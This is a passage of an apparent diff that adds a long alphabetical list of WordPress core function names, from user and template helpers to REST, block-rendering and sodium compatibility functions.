'get_user_to_edit', + 'get_userdata', + 'get_userdatabylogin', + 'get_usermeta', + 'get_usernumposts', + 'get_users', + 'get_users_drafts', + 'get_users_of_blog', + 'get_weekstartend', + 'get_wp_title_rss', + 'get_year_link', + 'global_terms', + 'global_terms_enabled', + 'got_mod_rewrite', + 'got_url_rewrite', + 'graceful_fail', + 'grant_super_admin', + 'gzip_compression', + 'handle_legacy_widget_preview_iframe', + 'has_action', + 'has_block', + 'has_blocks', + 'has_category', + 'has_custom_header', + 'has_custom_logo', + 'has_excerpt', + 'has_filter', + 'has_header_image', + 'has_header_video', + 'has_image_size', + 'has_meta', + 'has_nav_menu', + 'has_post_format', + 'has_post_parent', + 'has_post_thumbnail', + 'has_shortcode', + 'has_site_icon', + 'has_tag', + 'has_term', + 'has_term_meta', + 'has_translation', + 'have_comments', + 'have_posts', + 'header_image', + 'header_textcolor', + 'heartbeat_autosave', + 'home_url', + 'html_type_rss', + 'htmlentities2', + 'human_readable_duration', + 'human_time_diff', + 'iframe_footer', + 'iframe_header', + 'iis7_add_rewrite_rule', + 'iis7_delete_rewrite_rule', + 'iis7_rewrite_rule_exists', + 'iis7_save_url_rewrite_rules', + 'iis7_supports_permalinks', + 'image_add_caption', + 'image_align_input_fields', + 'image_attachment_fields_to_edit', + 'image_attachment_fields_to_save', + 'image_constrain_size_for_editor', + 'image_downsize', + 'image_edit_apply_changes', + 'image_get_intermediate_size', + 'image_hwstring', + 'image_link_input_fields', + 'image_make_intermediate_size', + 'image_media_send_to_editor', + 'image_resize', + 'image_resize_dimensions', + 'image_size_input_fields', + 'img_caption_shortcode', + 'in_category', + 'in_the_loop', + 'includes_url', + 'index_rel_link', + 'init', + 'inject_ignored_hooked_blocks_metadata_attributes', + 'insert_blog', + 'insert_hooked_blocks', + 'insert_hooked_blocks_and_set_ignored_hooked_blocks_metadata', + 'insert_hooked_blocks_into_rest_response', + 'insert_with_markers', + 'install_blog', + 'install_blog_defaults', + 'install_dashboard', + 'install_global_terms', + 'install_network', + 'install_plugin_information', + 'install_plugin_install_status', + 'install_plugins_favorites_form', + 'install_plugins_upload', + 'install_popular_tags', + 'install_search_form', + 'install_theme_information', + 'install_theme_search_form', + 'install_themes_dashboard', + 'install_themes_feature_list', + 'install_themes_upload', + 'is_404', + 'is_active_sidebar', + 'is_active_widget', + 'is_admin', + 'is_admin_bar_showing', + 'is_allowed_http_origin', + 'is_archive', + 'is_archived', + 'is_attachment', + 'is_author', + 'is_avatar_comment_type', + 'is_blog_admin', + 'is_blog_installed', + 'is_blog_user', + 'is_category', + 'is_child_theme', + 'is_client_error', + 'is_comment_feed', + 'is_comments_popup', + 'is_customize_preview', + 'is_date', + 'is_day', + 'is_dynamic_sidebar', + 'is_email', + 'is_email_address_unsafe', + 'is_embed', + 'is_error', + 'is_favicon', + 'is_feed', + 'is_front_page', + 'is_gd_image', + 'is_header_video_active', + 'is_home', + 'is_info', + 'is_lighttpd_before_150', + 'is_local_attachment', + 'is_locale_switched', + 'is_login', + 'is_main_blog', + 'is_main_network', + 'is_main_query', + 'is_main_site', + 'is_month', + 'is_multi_author', + 'is_multisite', + 'is_nav_menu', + 'is_nav_menu_item', + 'is_network_admin', + 'is_network_only_plugin', + 'is_new_day', + 'is_object_in_taxonomy', + 'is_object_in_term', + 'is_page', + 'is_page_template', + 'is_paged', + 'is_php_version_compatible', + 'is_plugin_active', + 'is_plugin_active_for_network', + 'is_plugin_inactive', + 'is_plugin_page', + 'is_plugin_paused', + 'is_post_embeddable', + 'is_post_publicly_viewable', + 'is_post_status_viewable', + 'is_post_type_archive', + 'is_post_type_hierarchical', + 'is_post_type_viewable', + 'is_preview', + 'is_privacy_policy', + 'is_protected_ajax_action', + 'is_protected_endpoint', + 'is_protected_meta', + 'is_random_header_image', + 'is_redirect', + 'is_registered_sidebar', + 'is_robots', + 'is_rtl', + 'is_search', + 'is_serialized', + 'is_serialized_string', + 'is_server_error', + 'is_single', + 'is_singular', + 'is_site_admin', + 'is_site_meta_supported', + 'is_ssl', + 'is_sticky', + 'is_subdomain_install', + 'is_success', + 'is_super_admin', + 'is_tag', + 'is_tax', + 'is_taxonomy', + 'is_taxonomy_hierarchical', + 'is_taxonomy_viewable', + 'is_term', + 'is_term_publicly_viewable', + 'is_textdomain_loaded', + 'is_theme_paused', + 'is_time', + 'is_trackback', + 'is_uninstallable_plugin', + 'is_upload_space_available', + 'is_user_admin', + 'is_user_logged_in', + 'is_user_member_of_blog', + 'is_user_option_local', + 'is_user_spammy', + 'is_utf8_charset', + 'is_wp_error', + 'is_wp_version_compatible', + 'is_wpmu_sitewide_plugin', + 'is_year', + 'iso8601_timezone_to_offset', + 'iso8601_to_datetime', + 'js_escape', + 'kses_init', + 'kses_init_filters', + 'kses_remove_filters', + 'language_attributes', + 'like_escape', + 'link_advanced_meta_box', + 'link_categories_meta_box', + 'link_pages', + 'link_submit_meta_box', + 'link_target_meta_box', + 'link_xfn_meta_box', + 'links_add_base_url', + 'links_add_target', + 'links_popup_script', + 'list_authors', + 'list_cats', + 'list_core_update', + 'list_files', + 'list_meta', + 'list_plugin_updates', + 'list_theme_updates', + 'list_translation_updates', + 'load_child_theme_textdomain', + 'load_default_textdomain', + 'load_image_to_edit', + 'load_muplugin_textdomain', + 'load_plugin_textdomain', + 'load_script_module_textdomain', + 'load_script_textdomain', + 'load_script_translations', + 'load_template', + 'load_textdomain', + 'load_theme_textdomain', + 'locale_stylesheet', + 'locate_block_template', + 'locate_template', + 'logIO', + 'login_footer', + 'login_header', + 'lowercase_octets', + 'maintenance_nag', + 'make_after_block_visitor', + 'make_before_block_visitor', + 'make_clickable', + 'make_db_current', + 'make_db_current_silent', + 'make_site_theme', + 'make_site_theme_from_default', + 'make_site_theme_from_oldschool', + 'make_url_footnote', + 'map_deep', + 'map_meta_cap', + 'maybe_add_column', + 'maybe_add_existing_user_to_blog', + 'maybe_convert_table_to_utf8mb4', + 'maybe_create_table', + 'maybe_disable_automattic_widgets', + 'maybe_disable_link_manager', + 'maybe_drop_column', + 'maybe_hash_hex_color', + 'maybe_redirect_404', + 'maybe_serialize', + 'maybe_unserialize', + 'mb_strlen', + 'mb_substr', + 'mbstring_binary_safe_encoding', + 'media_buttons', + 'media_handle_sideload', + 'media_handle_upload', + 'media_post_single_attachment_fields_to_edit', + 'media_send_to_editor', + 'media_sideload_image', + 'media_single_attachment_fields_to_edit', + 'media_upload_audio', + 'media_upload_file', + 'media_upload_flash_bypass', + 'media_upload_form', + 'media_upload_form_handler', + 'media_upload_gallery', + 'media_upload_gallery_form', + 'media_upload_header', + 'media_upload_html_bypass', + 'media_upload_image', + 'media_upload_library', + 'media_upload_library_form', + 'media_upload_max_image_resize', + 'media_upload_tabs', + 'media_upload_text_after', + 'media_upload_type_form', + 'media_upload_type_url_form', + 'media_upload_video', + 'menu_page_url', + 'meta_box_prefs', + 'meta_form', + 'metadata_exists', + 'move_dir', + 'ms_allowed_http_request_hosts', + 'ms_cookie_constants', + 'ms_deprecated_blogs_file', + 'ms_file_constants', + 'ms_is_switched', + 'ms_load_current_site_and_network', + 'ms_not_installed', + 'ms_site_check', + 'ms_subdomain_constants', + 'ms_upload_constants', + 'mu_dropdown_languages', + 'mu_options', + 'multisite_over_quota_message', + 'mysql2date', + 'mysql_to_rfc3339', + 'network_admin_url', + 'network_domain_check', + 'network_edit_site_nav', + 'network_home_url', + 'network_settings_add_js', + 'network_site_url', + 'network_step1', + 'network_step2', + 'new_user_email_admin_notice', + 'newblog_notify_siteadmin', + 'newuser_notify_siteadmin', + 'next_comments_link', + 'next_image_link', + 'next_post', + 'next_post_link', + 'next_post_rel_link', + 'next_posts', + 'next_posts_link', + 'next_widget_id_number', + 'nocache_headers', + 'noindex', + 'normalize_whitespace', + 'note_sidebar_being_rendered', + 'number_format_i18n', + 'option_update_filter', + 'options_discussion_add_js', + 'options_general_add_js', + 'options_permalink_add_js', + 'options_reading_add_js', + 'options_reading_blog_charset', + 'page_attributes_meta_box', + 'page_template_dropdown', + 'paginate_comments_links', + 'paginate_links', + 'parent_dropdown', + 'parent_post_rel_link', + 'parse_blocks', + 'parse_w3cdtf', + 'path_is_absolute', + 'path_join', + 'paused_plugins_notice', + 'paused_themes_notice', + 'permalink_anchor', + 'permalink_link', + 'permalink_single_rss', + 'pingback', + 'pingback_ping_source_uri', + 'pings_open', + 'plugin_basename', + 'plugin_dir_path', + 'plugin_dir_url', + 'plugin_sandbox_scrape', + 'plugins_api', + 'plugins_url', + 'populate_network', + 'populate_network_meta', + 'populate_options', + 'populate_roles', + 'populate_roles_160', + 'populate_roles_210', + 'populate_roles_230', + 'populate_roles_250', + 'populate_roles_260', + 'populate_roles_270', + 'populate_roles_280', + 'populate_roles_300', + 'populate_site_meta', + 'popuplinks', + 'post_author_meta_box', + 'post_categories_meta_box', + 'post_class', + 'post_comment_meta_box', + 'post_comment_meta_box_thead', + 'post_comment_status_meta_box', + 'post_comments_feed_link', + 'post_comments_form_block_form_defaults', + 'post_custom', + 'post_custom_meta_box', + 'post_excerpt_meta_box', + 'post_exists', + 'post_form_autocomplete_off', + 'post_format_meta_box', + 'post_password_required', + 'post_permalink', + 'post_preview', + 'post_reply_link', + 'post_revisions_meta_box', + 'post_slug_meta_box', + 'post_submit_meta_box', + 'post_tags_meta_box', + 'post_thumbnail_meta_box', + 'post_trackback_meta_box', + 'post_type_archive_title', + 'post_type_exists', + 'post_type_supports', + 'postbox_classes', + 'posts_nav_link', + 'pre_schema_upgrade', + 'prep_atom_text_construct', + 'prepend_attachment', + 'prev_post_rel_link', + 'preview_theme', + 'preview_theme_ob_filter', + 'preview_theme_ob_filter_callback', + 'previous_comments_link', + 'previous_image_link', + 'previous_post', + 'previous_post_link', + 'previous_posts', + 'previous_posts_link', + 'print_admin_styles', + 'print_column_headers', + 'print_embed_comments_button', + 'print_embed_scripts', + 'print_embed_sharing_button', + 'print_embed_sharing_dialog', + 'print_embed_styles', + 'print_emoji_detection_script', + 'print_emoji_styles', + 'print_footer_scripts', + 'print_head_scripts', + 'print_late_styles', + 'privacy_ping_filter', + 'query_posts', + 'rawurlencode_deep', + 'readonly', + 'recurse_dirsize', + 'redirect_canonical', + 'redirect_guess_404_permalink', + 'redirect_post', + 'redirect_this_site', + 'refresh_blog_details', + 'refresh_user_details', + 'register_activation_hook', + 'register_admin_color_schemes', + 'register_and_do_post_meta_boxes', + 'register_block_bindings_source', + 'register_block_core_accordion', + 'register_block_core_accordion_item', + 'register_block_core_archives', + 'register_block_core_avatar', + 'register_block_core_block', + 'register_block_core_breadcrumbs', + 'register_block_core_button', + 'register_block_core_calendar', + 'register_block_core_categories', + 'register_block_core_comment_author_name', + 'register_block_core_comment_content', + 'register_block_core_comment_date', + 'register_block_core_comment_edit_link', + 'register_block_core_comment_reply_link', + 'register_block_core_comment_template', + 'register_block_core_comments', + 'register_block_core_comments_pagination', + 'register_block_core_comments_pagination_next', + 'register_block_core_comments_pagination_numbers', + 'register_block_core_comments_pagination_previous', + 'register_block_core_comments_title', + 'register_block_core_cover', + 'register_block_core_details', + 'register_block_core_file', + 'register_block_core_footnotes', + 'register_block_core_footnotes_post_meta', + 'register_block_core_gallery', + 'register_block_core_heading', + 'register_block_core_home_link', + 'register_block_core_icon', + 'register_block_core_image', + 'register_block_core_latest_comments', + 'register_block_core_latest_posts', + 'register_block_core_legacy_widget', + 'register_block_core_list', + 'register_block_core_loginout', + 'register_block_core_media_text', + 'register_block_core_navigation', + 'register_block_core_navigation_link', + 'register_block_core_navigation_overlay_close', + 'register_block_core_navigation_submenu', + 'register_block_core_page_list', + 'register_block_core_page_list_item', + 'register_block_core_paragraph', + 'register_block_core_pattern', + 'register_block_core_post_author', + 'register_block_core_post_author_biography', + 'register_block_core_post_author_name', + 'register_block_core_post_comments_count', + 'register_block_core_post_comments_form', + 'register_block_core_post_comments_link', + 'register_block_core_post_content', + 'register_block_core_post_date', + 'register_block_core_post_excerpt', + 'register_block_core_post_featured_image', + 'register_block_core_post_navigation_link', + 'register_block_core_post_template', + 'register_block_core_post_terms', + 'register_block_core_post_time_to_read', + 'register_block_core_post_title', + 'register_block_core_query', + 'register_block_core_query_no_results', + 'register_block_core_query_pagination', + 'register_block_core_query_pagination_next', + 'register_block_core_query_pagination_numbers', + 'register_block_core_query_pagination_previous', + 'register_block_core_query_title', + 'register_block_core_query_total', + 'register_block_core_read_more', + 'register_block_core_rss', + 'register_block_core_search', + 'register_block_core_shortcode', + 'register_block_core_site_icon_setting', + 'register_block_core_site_logo', + 'register_block_core_site_logo_setting', + 'register_block_core_site_tagline', + 'register_block_core_site_title', + 'register_block_core_social_link', + 'register_block_core_tag_cloud', + 'register_block_core_template_part', + 'register_block_core_term_count', + 'register_block_core_term_description', + 'register_block_core_term_name', + 'register_block_core_term_template', + 'register_block_core_video', + 'register_block_core_widget_group', + 'register_block_pattern', + 'register_block_pattern_category', + 'register_block_script_handle', + 'register_block_script_module_id', + 'register_block_style', + 'register_block_style_handle', + 'register_block_template', + 'register_block_type', + 'register_block_type_from_metadata', + 'register_column_headers', + 'register_core_block_style_handles', + 'register_core_block_types_from_metadata', + 'register_deactivation_hook', + 'register_default_headers', + 'register_importer', + 'register_initial_settings', + 'register_legacy_post_comments_block', + 'register_meta', + 'register_nav_menu', + 'register_nav_menus', + 'register_new_user', + 'register_post_meta', + 'register_post_status', + 'register_post_type', + 'register_rest_field', + 'register_rest_route', + 'register_setting', + 'register_sidebar', + 'register_sidebar_widget', + 'register_sidebars', + 'register_taxonomy', + 'register_taxonomy_for_object_type', + 'register_term_meta', + 'register_theme_directory', + 'register_theme_feature', + 'register_uninstall_hook', + 'register_widget', + 'register_widget_control', + 'registered_meta_key_exists', + 'rel_canonical', + 'remove_accents', + 'remove_action', + 'remove_all_actions', + 'remove_all_filters', + 'remove_all_shortcodes', + 'remove_allowed_options', + 'remove_block_asset_path_prefix', + 'remove_custom_background', + 'remove_custom_image_header', + 'remove_editor_styles', + 'remove_filter', + 'remove_image_size', + 'remove_menu_page', + 'remove_meta_box', + 'remove_option_update_handler', + 'remove_option_whitelist', + 'remove_permastruct', + 'remove_post_type_support', + 'remove_query_arg', + 'remove_rewrite_tag', + 'remove_role', + 'remove_serialized_parent_block', + 'remove_shortcode', + 'remove_submenu_page', + 'remove_theme_mod', + 'remove_theme_mods', + 'remove_theme_support', + 'remove_user_from_blog', + 'render_block', + 'render_block_core_accordion', + 'render_block_core_archives', + 'render_block_core_avatar', + 'render_block_core_block', + 'render_block_core_breadcrumbs', + 'render_block_core_button', + 'render_block_core_calendar', + 'render_block_core_categories', + 'render_block_core_comment_author_name', + 'render_block_core_comment_content', + 'render_block_core_comment_date', + 'render_block_core_comment_edit_link', + 'render_block_core_comment_reply_link', + 'render_block_core_comment_template', + 'render_block_core_comments', + 'render_block_core_comments_pagination', + 'render_block_core_comments_pagination_next', + 'render_block_core_comments_pagination_numbers', + 'render_block_core_comments_pagination_previous', + 'render_block_core_comments_title', + 'render_block_core_cover', + 'render_block_core_file', + 'render_block_core_footnotes', + 'render_block_core_home_link', + 'render_block_core_icon', + 'render_block_core_image', + 'render_block_core_latest_comments', + 'render_block_core_latest_posts', + 'render_block_core_legacy_widget', + 'render_block_core_loginout', + 'render_block_core_media_text', + 'render_block_core_navigation', + 'render_block_core_navigation_link', + 'render_block_core_navigation_overlay_close', + 'render_block_core_navigation_submenu', + 'render_block_core_page_list', + 'render_block_core_pattern', + 'render_block_core_post_author', + 'render_block_core_post_author_biography', + 'render_block_core_post_author_name', + 'render_block_core_post_comments_count', + 'render_block_core_post_comments_form', + 'render_block_core_post_comments_link', + 'render_block_core_post_content', + 'render_block_core_post_date', + 'render_block_core_post_excerpt', + 'render_block_core_post_featured_image', + 'render_block_core_post_navigation_link', + 'render_block_core_post_template', + 'render_block_core_post_terms', + 'render_block_core_post_time_to_read', + 'render_block_core_post_title', + 'render_block_core_query', + 'render_block_core_query_no_results', + 'render_block_core_query_pagination', + 'render_block_core_query_pagination_next', + 'render_block_core_query_pagination_numbers', + 'render_block_core_query_pagination_previous', + 'render_block_core_query_title', + 'render_block_core_query_total', + 'render_block_core_read_more', + 'render_block_core_rss', + 'render_block_core_search', + 'render_block_core_shortcode', + 'render_block_core_site_logo', + 'render_block_core_site_tagline', + 'render_block_core_site_title', + 'render_block_core_social_link', + 'render_block_core_tag_cloud', + 'render_block_core_template_part', + 'render_block_core_term_count', + 'render_block_core_term_description', + 'render_block_core_term_name', + 'render_block_core_term_template', + 'render_block_core_video', + 'render_block_core_widget_group', + 'request_filesystem_credentials', + 'require_if_theme_supports', + 'require_wp_db', + 'reset_mbstring_encoding', + 'reset_password', + 'resolve_block_template', + 'resolve_pattern_blocks', + 'rest_add_application_passwords_to_index', + 'rest_api_default_filters', + 'rest_api_init', + 'rest_api_loaded', + 'rest_api_register_rewrites', + 'rest_application_password_check_errors', + 'rest_application_password_collect_status', + 'rest_are_values_equal', + 'rest_authorization_required_code', + 'rest_convert_error_to_response', + 'rest_cookie_check_errors', + 'rest_cookie_collect_status', + 'rest_default_additional_properties_to_false', + 'rest_do_request', + 'rest_ensure_request', + 'rest_ensure_response', + 'rest_filter_response_by_context', + 'rest_filter_response_fields', + 'rest_find_any_matching_schema', + 'rest_find_matching_pattern_property_schema', + 'rest_find_one_matching_schema', + 'rest_format_combining_operation_error', + 'rest_get_allowed_schema_keywords', + 'rest_get_authenticated_app_password', + 'rest_get_avatar_sizes', + 'rest_get_avatar_urls', + 'rest_get_best_type_for_value', + 'rest_get_combining_operation_error', + 'rest_get_date_with_gmt', + 'rest_get_endpoint_args_for_schema', + 'rest_get_queried_resource_route', + 'rest_get_route_for_post', + 'rest_get_route_for_post_type_items', + 'rest_get_route_for_taxonomy_items', + 'rest_get_route_for_term', + 'rest_get_server', + 'rest_get_url_prefix', + 'rest_handle_deprecated_argument', + 'rest_handle_deprecated_function', + 'rest_handle_doing_it_wrong', + 'rest_handle_multi_type_schema', + 'rest_handle_options_request', + 'rest_is_array', + 'rest_is_boolean', + 'rest_is_field_included', + 'rest_is_integer', + 'rest_is_ip_address', + 'rest_is_object', + 'rest_output_link_header', + 'rest_output_link_wp_head', + 'rest_output_rsd', + 'rest_parse_date', + 'rest_parse_embed_param', + 'rest_parse_hex_color', + 'rest_parse_request_arg', + 'rest_preload_api_request', + 'rest_sanitize_array', + 'rest_sanitize_boolean', + 'rest_sanitize_object', + 'rest_sanitize_request_arg', + 'rest_sanitize_value_from_schema', + 'rest_send_allow_header', + 'rest_send_cors_headers', + 'rest_stabilize_value', + 'rest_url', + 'rest_validate_array_contains_unique_items', + 'rest_validate_array_value_from_schema', + 'rest_validate_boolean_value_from_schema', + 'rest_validate_enum', + 'rest_validate_integer_value_from_schema', + 'rest_validate_json_schema_pattern', + 'rest_validate_null_value_from_schema', + 'rest_validate_number_value_from_schema', + 'rest_validate_object_value_from_schema', + 'rest_validate_request_arg', + 'rest_validate_string_value_from_schema', + 'rest_validate_value_from_schema', + 'restore_current_blog', + 'restore_current_locale', + 'restore_previous_locale', + 'resume_plugin', + 'resume_theme', + 'retrieve_password', + 'retrieve_widgets', + 'revoke_super_admin', + 'rewind_posts', + 'rich_edit_exists', + 'rsd_link', + 'rss2_site_icon', + 'rss_enclosure', + 'safecss_filter_attr', + 'sanitize_bookmark', + 'sanitize_bookmark_field', + 'sanitize_category', + 'sanitize_category_field', + 'sanitize_comment_cookies', + 'sanitize_email', + 'sanitize_file_name', + 'sanitize_hex_color', + 'sanitize_hex_color_no_hash', + 'sanitize_html_class', + 'sanitize_key', + 'sanitize_locale_name', + 'sanitize_meta', + 'sanitize_mime_type', + 'sanitize_option', + 'sanitize_post', + 'sanitize_post_field', + 'sanitize_sql_orderby', + 'sanitize_term', + 'sanitize_term_field', + 'sanitize_text_field', + 'sanitize_textarea_field', + 'sanitize_title', + 'sanitize_title_for_query', + 'sanitize_title_with_dashes', + 'sanitize_trackback_urls', + 'sanitize_url', + 'sanitize_user', + 'sanitize_user_field', + 'sanitize_user_object', + 'saveDomDocument', + 'save_mod_rewrite_rules', + 'screen_icon', + 'screen_layout', + 'screen_meta', + 'screen_options', + 'script_concat_settings', + 'search_theme_directories', + 'seems_utf8', + 'selected', + 'self_admin_url', + 'self_link', + 'send_confirmation_on_profile_email', + 'send_frame_options_header', + 'send_nosniff_header', + 'send_origin_headers', + 'separate_comments', + 'serialize_block', + 'serialize_block_attributes', + 'serialize_blocks', + 'set_current_screen', + 'set_current_user', + 'set_ignored_hooked_blocks_metadata', + 'set_post_format', + 'set_post_thumbnail', + 'set_post_thumbnail_size', + 'set_post_type', + 'set_query_var', + 'set_screen_options', + 'set_site_transient', + 'set_theme_mod', + 'set_transient', + 'set_url_scheme', + 'set_user_setting', + 'settings_errors', + 'settings_fields', + 'setup_config_display_header', + 'setup_postdata', + 'setup_userdata', + 'shortcode_atts', + 'shortcode_exists', + 'shortcode_parse_atts', + 'shortcode_unautop', + 'show_admin_bar', + 'show_blog_form', + 'show_message', + 'show_user_form', + 'shutdown_action_hook', + 'signup_another_blog', + 'signup_blog', + 'signup_get_available_languages', + 'signup_nonce_check', + 'signup_nonce_fields', + 'signup_user', + 'single_cat_title', + 'single_month_title', + 'single_post_title', + 'single_tag_title', + 'single_term_title', + 'site_admin_notice', + 'site_icon_url', + 'site_url', + 'size_format', + 'smilies_init', + 'sodiumCompatAutoloader', + 'sodium_add', + 'sodium_base642bin', + 'sodium_bin2base64', + 'sodium_bin2hex', + 'sodium_compare', + 'sodium_crypto_aead_aegis128l_decrypt', + 'sodium_crypto_aead_aegis128l_encrypt', + 'sodium_crypto_aead_aegis256_decrypt', + 'sodium_crypto_aead_aegis256_encrypt', + 'sodium_crypto_aead_aes256gcm_decrypt', + 'sodium_crypto_aead_aes256gcm_encrypt', + 'sodium_crypto_aead_aes256gcm_is_available', + 'sodium_crypto_aead_chacha20poly1305_decrypt', + 'sodium_crypto_aead_chacha20poly1305_encrypt', + 'sodium_crypto_aead_chacha20poly1305_ietf_decrypt', + 'sodium_crypto_aead_chacha20poly1305_ietf_encrypt', + 'sodium_crypto_aead_chacha20poly1305_ietf_keygen', + 'sodium_crypto_aead_chacha20poly1305_keygen', + 'sodium_crypto_aead_xchacha20poly1305_ietf_decrypt', + 'sodium_crypto_aead_xchacha20poly1305_ietf_encrypt', + 'sodium_crypto_aead_xchacha20poly1305_ietf_keygen', + 'sodium_crypto_auth', + 'sodium_crypto_auth_keygen', + 'sodium_crypto_auth_verify', + 'sodium_crypto_box', + 'sodium_crypto_box_keypair', + 'sodium_crypto_box_keypair_from_secretkey_and_publickey', + 'sodium_crypto_box_open', + 'sodium_crypto_box_publickey', + 'sodium_crypto_box_publickey_from_secretkey', + 'sodium_crypto_box_seal', + 'sodium_crypto_box_seal_open', + 'sodium_crypto_box_secretkey', + 'sodium_crypto_box_seed_keypair', + 'sodium_crypto_core_ristretto255_add', + 'sodium_crypto_core_ristretto255_from_hash', + 'sodium_crypto_core_ristretto255_is_valid_point', + 'sodium_crypto_core_ristretto255_random', + 'sodium_crypto_core_ristretto255_scalar_add', + 'sodium_crypto_core_ristretto255_scalar_complement', + 'sodium_crypto_core_ristretto255_scalar_invert', + 'sodium_crypto_core_ristretto255_scalar_mul', + 'sodium_crypto_core_ristretto255_scalar_negate', + 'sodium_crypto_core_ristretto255_scalar_random', + 'sodium_crypto_core_ristretto255_scalar_reduce', + 'sodium_crypto_core_ristretto255_scalar_sub', + 'sodium_crypto_core_ristretto255_sub', + 'sodium_crypto_generichash', + 'sodium_crypto_generichash_final', + 'sodium_crypto_generichash_init', + 'sodium_crypto_generichash_keygen', + 'sodium_crypto_generichash_update', + 'sodium_crypto_kdf_derive_from_key', + 'sodium_crypto_kdf_keygen', + 'sodium_crypto_kx', + 'sodium_crypto_kx_client_session_keys', + 'sodium_crypto_kx_keypair', + 'sodium_crypto_kx_publickey', + 'sodium_crypto_kx_secretkey', + 'sodium_crypto_kx_seed_keypair', + 'sodium_crypto_kx_server_session_keys', + 'sodium_crypto_pwhash', + 'sodium_crypto_pwhash_scryptsalsa208sha256', + 'sodium_crypto_pwhash_scryptsalsa208sha256_str', + 'sodium_crypto_pwhash_scryptsalsa208sha256_str_verify', + 'sodium_crypto_pwhash_str', + 'sodium_crypto_pwhash_str_needs_rehash', + 'sodium_crypto_pwhash_str_verify', + 'sodium_crypto_scalarmult', + 'sodium_crypto_scalarmult_base', + 'sodium_crypto_scalarmult_ristretto255', + 'sodium_crypto_scalarmult_ristretto255_base', + 'sodium_crypto_secretbox', + 'sodium_crypto_secretbox_keygen', + 'sodium_crypto_secretbox_open', + 'sodium_crypto_secretstream_xchacha20poly1305_init_pull', + 'sodium_crypto_secretstream_xchacha20poly1305_init_push', + 'sodium_crypto_secretstream_xchacha20poly1305_keygen', + 'sodium_crypto_secretstream_xchacha20poly1305_pull', + 'sodium_crypto_secretstream_xchacha20poly1305_push', + 'sodium_crypto_secretstream_xchacha20poly1305_rekey', + 'sodium_crypto_shorthash', + 'sodium_crypto_shorthash_keygen', + 'sodium_crypto_sign', + 'sodium_crypto_sign_detached', + 'sodium_crypto_sign_ed25519_pk_to_curve25519', + 'sodium_crypto_sign_ed25519_sk_to_curve25519', + 'sodium_crypto_sign_keypair', + 'sodium_crypto_sign_keypair_from_secretkey_and_publickey', + 'sodium_crypto_sign_open', + 'sodium_crypto_sign_publickey', + 'sodium_crypto_sign_publickey_from_secretkey', + 'sodium_crypto_sign_secretkey', + 'sodium_crypto_sign_seed_keypair', + 'sodium_crypto_sign_verify_detached', + 'sodium_crypto_stream', + 'sodium_crypto_stream_keygen', + 'sodium_crypto_stream_xchacha20', + 'sodium_crypto_stream_xchacha20_keygen', + 'sodium_crypto_stream_xchacha20_xor', + 'sodium_crypto_stream_xchacha20_xor_ic', + 'sodium_crypto_stream_xor', + 'sodium_hex2bin', + 'sodium_increment', + 'sodium_library_version_major', + 'sodium_library_version_minor', + 'sodium_memcmp', + 'sodium_memzero', + 'sodium_pad', + 'sodium_randombytes_buf', + 'sodium_randombytes_random16', + 'sodium_randombytes_uniform', + 'sodium_unpad', + 'sodium_version_string', + 'sort_menu', + 'spawn_cron', + 'startElement', + 'start_post_rel_link', + 'start_wp', + 'status_header', + 'stick_post', + 'sticky_class', + 'str_contains', + 'str_ends_with', + 'str_starts_with', + 'stream_preview_image', + 'strip_core_block_namespace', + 'strip_fragment_from_url', + 'strip_shortcode_tag', + 'strip_shortcodes', + 'stripos', + 'stripslashes_deep', + 'stripslashes_from_strings_only', + 'styles_for_block_core_search', + 'submit_button', + 'switch_theme', + 'switch_to_blog', + 'switch_to_locale', + 'switch_to_user_locale', + 'sync_category_tag_slugs', + 'tag_description', + 'tag_escape', + 'tag_exists', + 'taxonomy_exists', + 'taxonomy_meta_box_sanitize_cb_checkboxes', + 'taxonomy_meta_box_sanitize_cb_input', + 'term_description', + 'term_exists', + 'term_is_ancestor_of', + 'the_ID', + 'the_archive_description', + 'the_archive_title', + 'the_attachment_link', + 'the_attachment_links', + 'the_author', + 'the_author_ID', + 'the_author_aim', + 'the_author_description', + 'the_author_email', + 'the_author_firstname', + 'the_author_icq', + 'the_author_lastname', + 'the_author_link', + 'the_author_login', + 'the_author_meta', + 'the_author_msn', + 'the_author_nickname', + 'the_author_posts', + 'the_author_posts_link', + 'the_author_url', + 'the_author_yim', + 'the_block_editor_meta_box_post_form_hidden_fields', + 'the_block_editor_meta_boxes', + 'the_block_template_skip_link', + 'the_category', + 'the_category_ID', + 'the_category_head', + 'the_category_rss', + 'the_comment', + 'the_comments_navigation', + 'the_comments_pagination', + 'the_content', + 'the_content_feed', + 'the_content_rss', + 'the_custom_header_markup', + 'the_custom_logo', + 'the_date', + 'the_date_xml', + 'the_editor', + 'the_embed_site_title', + 'the_excerpt', + 'the_excerpt_embed', + 'the_excerpt_rss', + 'the_feed_link', + 'the_generator', + 'the_guid', + 'the_header_image_tag', + 'the_header_video_url', + 'the_media_upload_tabs', + 'the_meta', + 'the_modified_author', + 'the_modified_date', + 'the_modified_time', + 'the_permalink', + 'the_permalink_rss', + 'the_post', + 'the_post_navigation', + 'the_post_password', + 'the_post_thumbnail', + 'the_post_thumbnail_caption', + 'the_post_thumbnail_url', + 'the_posts_navigation', + 'the_posts_pagination', + 'the_privacy_policy_link', + 'the_search_query', + 'the_shortlink', + 'the_tags', + 'the_taxonomies', + 'the_terms', + 'the_time', + 'the_title', + 'the_title_attribute', + 'the_title_rss', + 'the_weekday', + 'the_weekday_date', + 'the_widget', + 'theme_update_available', + 'themes_api', + 'timer_float', + 'timer_start', + 'timer_stop', + 'tinymce_include', + 'touch_time', + 'trackback', + 'trackback_rdf', + 'trackback_response', + 'trackback_url', + 'trackback_url_list', + 'trailingslashit', + 'translate', + 'translate_level_to_role', + 'translate_nooped_plural', + 'translate_settings_using_i18n_schema', + 'translate_smiley', + 'translate_user_role', + 'translate_with_context', + 'translate_with_gettext_context', + 'translations_api', + 'traverse_and_serialize_block', + 'traverse_and_serialize_blocks', + 'type_url_form_audio', + 'type_url_form_file', + 'type_url_form_image', + 'type_url_form_video', + 'undismiss_core_update', + 'unescape_invalid_shortcodes', + 'uninstall_plugin', + 'unload_textdomain', + 'unregister_block_bindings_source', + 'unregister_block_pattern', + 'unregister_block_pattern_category', + 'unregister_block_style', + 'unregister_block_template', + 'unregister_block_type', + 'unregister_default_headers', + 'unregister_meta_key', + 'unregister_nav_menu', + 'unregister_post_meta', + 'unregister_post_type', + 'unregister_setting', + 'unregister_sidebar', + 'unregister_sidebar_widget', + 'unregister_taxonomy', + 'unregister_taxonomy_for_object_type', + 'unregister_term_meta', + 'unregister_widget', + 'unregister_widget_control', + 'unstick_post', + 